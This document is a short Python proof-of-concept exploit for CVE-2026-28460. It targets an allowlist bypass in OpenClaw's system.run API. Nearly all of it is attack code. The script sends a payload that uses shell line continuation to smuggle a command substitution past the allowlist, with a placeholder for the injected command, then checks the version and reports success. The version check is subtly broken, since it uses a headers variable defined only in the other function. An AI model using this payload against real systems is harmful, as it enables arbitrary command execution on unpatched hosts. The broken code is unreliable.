CVE-2026-28460 OpenClaw system.run白名单绕过漏洞

# CVE-2026-28460 OpenClaw system.run Allowlist Bypass PoC # This PoC demonstrates bypassing the allowlist using shell line continuation # Reference: https://www.vulncheck.com/advisories/openclaw-allowlist-bypass-via-shell-line-continuation-command-substitution-in-system-run import requests import json TARGET_URL = "http://target-openclaw-server:8080" API_KEY = "your_api_key_here" def exploit_allowlist_bypass(): """ Exploit the allowlist bypass in OpenClaw's system.run function by using shell line continuation characters to split command substitution. """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Malicious payload using line continuation to bypass allowlist # The $\ followed by newline and ( causes shell to fold the line # continuation into executable command substitution malicious_command = '"$\n(malicious_command_here)"' payload = { "action": "system.run", "command": malicious_command, "args": { "timeout": 30 } } try: response = requests.post( f"{TARGET_URL}/api/v1/execute", headers=headers, json=payload, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Allowlist bypass successful! Command executed.") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_version(): """Check if target is running a vulnerable version""" try: response = requests.get( f"{TARGET_URL}/api/v1/version", headers=headers, timeout=10 ) version = response.json().get("version", "") # Vulnerable if version < 2026.2.22 print(f"[*] Target version: {version}") return version except: return None if __name__ == "__main__": print("[*] CVE-2026-28460 OpenClaw Allowlist Bypass PoC") print("[*] Target:", TARGET_URL) version = verify_version() if version: exploit_allowlist_bypass()